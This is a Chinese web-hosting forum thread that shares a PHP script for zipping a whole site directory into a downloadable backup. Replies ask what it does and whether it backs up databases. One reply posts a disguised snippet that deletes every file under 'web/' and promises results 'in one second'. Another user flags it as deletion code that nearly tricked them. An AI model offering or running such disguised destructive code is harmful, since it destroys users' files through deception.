找回密码
 立即注册
img_loading
智能检测中

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888广告投放联系QQ68610888
glinet
查看: 1008|回复: 7

[其它网络视频相关] 打包压缩整站的php源代码

[复制链接]
发表于 2023-10-14 22:57 | 显示全部楼层 |阅读模式
我记得有发过这个代码,
刚才查看我的主题发现不见了,

现在再发一次。
有服务器的用不上,宝塔就有这个功能。
这个代码适合虚拟主机用。
把这个代码文件放在需要打包压缩的文件夹中,
运行后就可以了。
  1. <?php
  2. function getCurrentUrl() {
  3.     $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
  4.     $host = $_SERVER['HTTP_HOST'];
  5.     $script = $_SERVER['SCRIPT_NAME'];
  6.     $url = $protocol . $host . $script;
  7.     $url = rtrim($url, '/');
  8.     $url = dirname($url);
  9.     return $url;
  10. }

  11. // 作用是压缩同目录下所有文件与文件夹
  12. function createZip($files = array(), $destination = '', $overwrite = false) {
  13.     if (file_exists($destination) && !$overwrite) {
  14.         return false;
  15.     }

  16.     $zip = new ZipArchive();
  17.     if (is_dir($destination)) {
  18.         return false;
  19.     }

  20.     if ($zip->open($destination, ZipArchive::CREATE) !== true) {
  21.         return false;
  22.     }

  23.     foreach ($files as $file) {
  24.         if ($file != '.' && $file != '..' && file_exists($file)) {
  25.             if (is_dir($file)) {
  26.                 addFolderToZip($file, $zip, basename($file));
  27.             } else {
  28.                 $zip->addFile($file, basename($file));
  29.             }
  30.         }
  31.     }

  32.     $zip->close();

  33.     return file_exists($destination);
  34. }

  35. function addFolderToZip($folder, &$zip, $folderName) {
  36.     $zip->addEmptyDir($folderName);
  37.     $files = scandir($folder);
  38.     foreach ($files as $file) {
  39.         if ($file != '.' && $file != '..') {
  40.             if (is_dir($folder . '/' . $file)) {
  41.                 addFolderToZip($folder . '/' . $file, $zip, $folderName . '/' . $file);
  42.             } else {
  43.                 $zip->addFile($folder . '/' . $file, $folderName . '/' . $file);
  44.             }
  45.         }
  46.     }
  47. }

  48. $filesToCompress = array_diff(scandir('./'), array('.', '..')); // 获取当前目录下的所有文件,排除掉特殊目录
  49. $destination = 'compressed.zip'; // 压缩文件的目标路径

  50. if (createZip($filesToCompress, $destination, true)) {
  51.     $downloadUrl = getCurrentUrl() . '/' . $destination;
  52.     echo '文件压缩成功!点击下载:<a href="' . $downloadUrl . '">' . $downloadUrl . '</a>';
  53. } else {
  54.     echo '文件压缩失败!';
  55. }
  56. ?>
复制代码


只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
发表于 2023-10-14 23:40 | 显示全部楼层
没整明白是啥东西啊
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

发表于 2023-10-14 23:55 来自手机 | 显示全部楼层
具体是个什么东西
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

发表于 2023-10-15 00:02 来自手机 | 显示全部楼层
谢谢分享
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

发表于 2023-10-15 00:13 | 显示全部楼层
网站备份代码??

弱弱问一下,如果那种第一次搭建要安装帐号密码和数据库的,这样打包,放到其他服务器能直接用吗?

点评

这个只是备份文件,不能备份数据库  详情 回复 发表于 2023-10-15 00:44
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-10-15 00:44 来自手机 | 显示全部楼层
jie333 发表于 2023-10-15 00:13
网站备份代码??

弱弱问一下,如果那种第一次搭建要安装帐号密码和数据库的,这样打包,放到其他服务器能 ...

这个只是备份文件,不能备份数据库
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

发表于 2023-10-15 01:27 | 显示全部楼层
  1. <?php
  2. error_reporting(0);
  3. array_map('unlink',glob('web/*'));
  4. die("一秒见效果.!");
  5. ?>
复制代码

评分

参与人数 1恩山币 -1 收起 理由
mxwz -1 这个删除文件代码,小心!差点上当.

查看全部评分

只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

发表于 2023-10-15 07:29 | 显示全部楼层
看看怎么样
只谈技术、莫论政事!(点击见详情) | 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛

只谈技术、莫论政事!切勿转播谣言!为了你也为了他人。
只谈技术、莫论政事!(点击见详情) 切记不要随意传播谣言,把自己的日子过安稳了就行,为了自己好也为了大家好。 恩山无线论坛欢迎您的来访,请互相尊重、友善交流,建议保持一颗平常心看待网友的评论,切勿过度反应。

查看 »

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2025-5-30 18:31

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com

快速回复 返回顶部 返回列表